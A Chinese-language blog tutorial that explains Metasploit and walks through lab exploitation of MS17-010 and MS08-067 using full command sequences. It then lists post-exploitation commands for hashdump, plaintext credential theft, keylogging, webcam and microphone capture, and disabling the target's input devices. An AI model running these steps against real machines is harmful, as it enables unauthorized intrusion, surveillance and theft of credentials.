Metasploit 介绍
- Metasploit是一款广泛使用的渗透测试工具,它提供了一种快速便捷的方式来测试和验证目标系统的安全性。被各大安全社区誉为"可以黑掉整个宇宙"。Metasploit具有以下几个主要的组件:
- 模块:Metasploit的核心组件,它包含了各种各样的攻击模块,包括Exploit、Payload、Auxiliary、Encoder、Nops、Post等等。这些模块可以用来执行各种攻击,例如漏洞利用、密码破解、端口扫描、信息收集等等。
- 数据库:Metasploit使用PostgreSQL数据库来存储和管理攻击相关的数据,例如漏洞信息、主机信息、凭证信息等等。这使得Metasploit可以更加高效地管理和利用攻击数据。
- 接口:Metasploit提供了多种接口,包括命令行接口、图形化接口和API接口,使得用户可以按照自己的需求来选择合适的接口。
- 框架:Metasploit框架提供了一种灵活的方式来创建自定义攻击模块和工具,使得用户可以根据自己的需求来扩展Metasploit的功能。
- Metasploit 使用
- Metasploit的使用流程通常包括以下几个步骤:
- 扫描目标系统:使用Metasploit的端口扫描模块和漏洞扫描模块来扫描目标系统,获取目标系统的信息。或者是使用Nmap 上帝之眼端口扫描工具对目标进行相应漏洞开放端口的扫描
- 选择攻击模块:根据目标系统的信息,选择合适的攻击模块,例如Exploit模块、Payload模块等等。
- 配置攻击模块:配置攻击模块的参数,例如目标IP地址、端口号、漏洞类型等等。
- 执行攻击:执行攻击模块,获取目标系统的访问权限。
- 后渗透:在目标系统中执行各种操作,例如查看文件、上传文件、执行命令等等。
- 清理痕迹:在攻击结束后,清理攻击留下的痕迹,使得攻击不被发现。
- 总的来说,Metasploit是一款非常强大的渗透测试工具,它可以帮助安全人员评估目标系统的安全性,发现系统中存在的漏洞,并提供相应的建议和改进措施。
- Metasploit中的专业术语
- Exploit:指利用目标系统中已知的漏洞或弱点,实现对目标系统的攻击和控制的过程。Metasploit中包含了大量的Exploit模块,可供渗透测试人员选择和使用。
- Payload:指在成功利用漏洞后,向目标系统注入的恶意代码或程序,用于实现对目标系统的控制和操作。Metasploit中包含了多种Payload类型,如Meterpreter、Reverse Shell等等。
- Auxiliary:指Metasploit中的辅助模块,用于执行各种非攻击性的任务,如端口扫描、漏洞探测、信息收集等等。
- Encoder:指Metasploit中的编码器模块,用于对Payload进行加密和混淆,以绕过目标系统的安全检测和防御机制。
- Listener:指Metasploit中的监听器模块,用于监听和接收来自目标系统的反弹连接,以建立与目标系统的持久性访问。
- Module:指Metasploit中的模块,包括Exploit、Payload、Auxiliary、Encoder、Listener等等,用于实现对目标系统的攻击和控制。
- Session:指Metasploit中与目标系统建立的会话,用于实现对目标系统的持久性访问和控制。
- Post-exploitation:指Metasploit中的后渗透攻击模块,用于在成功攻击目标系统后,维持对目标系统的持久性访问和控制,收集更多的信息和敏感数据。
- Meterpreter:指Metasploit中的一种Payload类型,用于实现对目标系统的高级控制和操作,包括文件管理、进程管理、网络管理等等。
- Reverse Shell:指Metasploit中的一种Payload类型,用于实现与目标系统的反向连接,以建立与目标系统的持久性访问和控制。
细扣Metasploit的每一个细节&常见主机系统漏洞复现
以上的内容都是我整理好的 这些内容都属于比较理论化的基础知识 看不懂没关系 接下来我实操 边实操边理论 如有说错的地方请多多在评论区指出!共同学习 共同进步 互相成长 相互扶持。

至于kali操作系统我也不想做过多的解释 基本上每一个渗透测试工程师或者说黑客都必备的操作系统 至于虚拟机的安装和使用以及关于它的网络配置也都比较简单 在此也不做阐述(安装虚拟机和配置网络 以及部署环境 这些都比较简单 如果这些问题都解决不了的话 接下来的内容你看起来会比较头大)
本文将会对以下漏洞进行复现
MS17-010(永恒之蓝 SMB远程代码执行漏洞)
MS08-067(RPC请求缓冲区溢出漏洞)
参考书籍<Metasploit渗透测试指南>
以下内容均是本人对整个主机渗透过程的理解
sudo -i

1.打开kali后切换至管理员权限 不然有的工具不是最高权限无法 使用

2.紧接着使用ifconfig命令查看一下本机的IP地址是多少 这里可以看到我的内网ip地址是192.168.1.69
nmap -sS -sV 192.168.1.69/24

3.使用nmap对内网进行扫描 -sS参数=使用TCP SYN扫描方式进行扫描 -sV参数=得到对应端口上比较详细的服务版本信息 简单一句话解释这条命令就是:对指定的目标主机进行端口扫描和服务识别 以确定该主机上开放的端口和运行的服务类型和版本号 另外顺便解释一下192.168.1.69/24 /24它表示对 IP 地址进行子网划分时 使用了 24 位作为网络地址 这一段的意思是说扫描192.168.1.0到192.168.1.255地址 扫描整个网段内的主机 其中 192.168.1 是网络地址,0 到 255 是主机地址
4.扫描发现存在一台主机 所以这一次我们的目标主机是192.168.1.111 为什么呢?我们接着往下看
5.这一列则代表的是目标所开放的端口 而我们接下来将使用ms17_010漏洞来对目标发起一次漏洞复现 那么我是怎么知道应该利用哪个漏洞来对目标进行攻击的 那就是我们看到在这一列当中 目标开放了445端口 即SMB协议(共享文件协议)
6.这一列则代表端口是否开放 英语稍微好一点的应该很容易理解 open代表打开的意思
7.这一列则代表这个端口对应的是什么样的服务 每一个对口对应着不同的服务 不同的协议 针对不同的协议有着不同的漏洞
8.这一列代表的则是服务的运行版本的详细信息

9.此时我们通过msfconsole命令进入我们的Metasploit 也就是说打开我们的工具 (MSF 安全社区人称"美 少 妇")
10.在此你可以看到 我们的MSF的版本信息 以及它目前拥有2162个漏洞利用模块 以及1147个辅助模块 592个攻击载荷 据说这款工具可以黑掉整个宇宙(戏称)
MS17010漏洞复现

11.此时我们通过search ms17_010这条命令来搜索该漏洞的攻击模块 search是搜索的意思ms17_010代表的是一个漏洞编号 而这个漏洞编号也是有讲究的 代表的是微软17年的第10个漏洞 该漏洞属于高危漏洞 也就是我们所说的 "永恒之蓝"
官方描述:docs.microsoft.com/en-us/secur...
已知受到影响的桌面操作系统有这些:
Windows 2000
Windows XP
Windows Vista
Windows7
Windows8
Windows8.1
Windows10
受到影响的服务器操作系统有这些:
Windows Server 2000
Windows Server 2003
Windows Server 2008
Windows Server 2012
Windows Server 2016
在以下信息当中我们可以看到exploit开头的和auxiliary开头的 代表的分别是漏洞攻击代码模块 以及 辅助模块 一般来说攻击模块则是我们用来攻击目标使用的 而辅助模块大部分情况下则是对目标进行一个扫描 不做攻击行为 以此来判断目标操作系统上 是否存在该漏洞
12.use 3命令的作用呢?我们可以看到第一列的警号下面是数字排序的 这里是说可选项 而use 3则说明 我们现在加载第三个选项 也就是对目标先做一个扫描 看看是否存在ms17_010漏洞
13.show options这条命令十分的重要 无论是现在还是未来 遇到一个新的漏洞 你对这个漏洞需要设置什么参数一无所知的话 可以通过该命令来显示所需配置 第一列 name代表的是这个参数的名称 第二列则代表设置了什么参数 第三列如果为yes则代表是必填 也就是不能有空 第四列则代表的是这个参数的描述信息

14.set RHOSTS 192.168.1.111此时我们设置需要进行扫描的目标主机IP set=设置 RHOSTS=远程主机IP地址
15.通过run或者exploit命令来启动我们的模块
16.此时可以看到该主机 有可能存在ms17_010漏洞 并且对方使用的是win7操作系统

17.使用back命令退出扫描模块
18.刚刚我们加载的是扫描模块 经过刚刚的扫描我们知道该主机有可能存在漏洞 那么接下来我们重新使用search ms17_010 来搜索该漏洞的利用模块】
19.接下来我们通过use 0来加载攻击模块
20.加载成功后会提示你 已经有一个默认的payload(攻击载荷)已经设置好了 这时我们就不需要手工在去配置攻击载荷了 这里可以看到使用的是反向连接(目标主机主动与我们进行连接) 不过我还是想详细的说明一下这一提示 既然本文说细扣 那么我们对每一个细节都应该要有足够的了解 windows/x64/meterpreter/reverse_tcp 这里指的是 我们的目标是Windows系统、采用的是x64的cpu架构、并且我们使用meterpreter对目标主机进行控制reverse_tcp代表的是使用tcp协议进行反向连接 (如果对方有防火墙 那么反向连接能够起到一个很好的作用)

21.既然我们已经加载了一个攻击模块 那么我们通过show options参数来看看它到底需要我们设置哪些参数
22.刚刚提到过 第三列代表的是必填项 而我们看到除了RHOSTS(远程主机)参数没填以外 其它参数都已经默认填好了
23.这里已经默认帮我们配置好了攻击载荷了 所以这一块我们就不动了 其中LHOST代表的是本地主机 LPORT代表的是本地端口 也就是目标被攻击后与谁进行连接 连接我们的哪一个端口
24.此处为默认即可 这里是自动选择目标的操作系统 当然你也可以手动去更改 因为有时候自动选择的效果并不是那么的理想

25.set RHOSTS 192.168.1.111 设置远程目标主机的IP地址为 192.168.1.111
26.run启动该攻击模块 或者 你也可以使用exploit命令来进行启动也是可以的
27.这里可以看到提示win代表胜利 赢了的意思 也就是我们已经成功攻击了目标主机
28.出现meterpreter则代表 我们现在可以接管这台机子了 那么接下来能干吗呢? 当然是想干嘛干嘛

29.screenshot通过该命令对远程主机进行屏幕截图
30.这里则是屏幕截图后保存的路径

upload /root/mDWAYBso.jpeg c:\1.jpeg
31.通过upload命令上传刚刚我们的截图到目标主机的c盘目录下 并且将文件名改为1.jpeg 首先upload是上传的意思 紧接着是本地文件的路径 接着是你要上传到目标主机的哪个路径
32.出现这一行则代表我们的文件已经成功上传到了目标主机上

33.此时我们来到Windows7主机查看 C盘下多了一个1.jpeg的文件 表示我们已经成功的执行了文件上传功能

download c://laopo.jpg /root
34.通过download命令下载远程主机的文件到本机的root目录下 download翻译过来也就是下载的意思 紧接着就是目标主机文件的路径 然后是本机的路径


35.getuid 通过该命令查看权限 得知我们是 管理员权限
36.hashdump 通过该命令查看本地有哪些用户以及md5加密过后的密码
37.通过md5解密得知client用户的密码为12345678

通过help来查看有哪些后渗透命令 从图上可以看到这里能做的事情真的非常非常的多 网上也有很多相关的指令介绍这里就不一 一介绍了
如何防范呢?肯定是安装安全软件并且给自己的电脑安装相应的安全补丁以及把防火墙打开 屏蔽一些高危端口
以下是一些常用的后渗透命令
开启摄像头
webcam_list -->查看是否存在摄像头
webcam_snap -->通过摄像头拍照
webcam_stream -->通过摄像头开启视频
record_mic 麦克风音频录制 *-d *:记录的秒数,默认为1秒
键盘记录
keyscan_start 开启键盘记录
keyscan_dump 导出记录数据
keyscan_stop 结束键盘记录
密码抓取
hashdump 抓取MD5加密后的密码
creds_wdigest 抓取电脑明文密码
禁止目标主机使用键盘鼠标
uictl disable(enable) keyboard 禁止(允许)目标使用键盘
uictl disable(enable) mouse 禁止(允许)目标使用鼠标
Session
background 挂起会话
sessions -i <ID值> 进入会话 -k 杀死会话
reboot / shutdown 重启/关机
shell 进入目标机cmd shell
按照以上的方法我们来玩一玩ms08-067漏洞
对于Windows 2000、XP和Server 2003,无需认证便可以利用该漏洞;
官方描述:technet.microsoft.com/en-us/libra...
实验环境:
-
Kali ip=192.168.1.69
-
XP ip=192.168.1.138
ifconfig
1.通过ifconfig查看kali本机IP地址
ipconfig
2.通过ipconfig查看xp的ip地址
ping 192.168.1.138 -c 6
3.通过ping命令对 192.168.1.138主机进行网络联通检测 -c 参数代表ping的次数
MS08067漏洞复现
msfconsole

4.二话不说 启动我们的"美 少 妇"

5.search ms08_067 搜索微软08年的第67个漏洞
6.使用攻击模块
7.显示这个攻击模块有哪些选项

8.set RHOSTS 192.168.1.138设置远程主机的地址为192.168.1.138
9.启动攻击模块
10.成功得到shell 并 对目标主机进行了屏幕截图 此外相信你有主意到以下有两个选项 当你按下TAB键的时候即可出现命令提示 有时候你不需要去记某一个命令的全部内容 只需要记住前面几个字母按下TAB键后即可补全该命令
以上就是ms17010、ms08067漏洞复现的全过程了 其实在学习过程中不应该按照着步骤去走 而是懂得学习如何去使用msf 这样你就能够对每一个漏洞都运用自如

以上内容均为 @星旧学长 原创内容 转载请声明出处....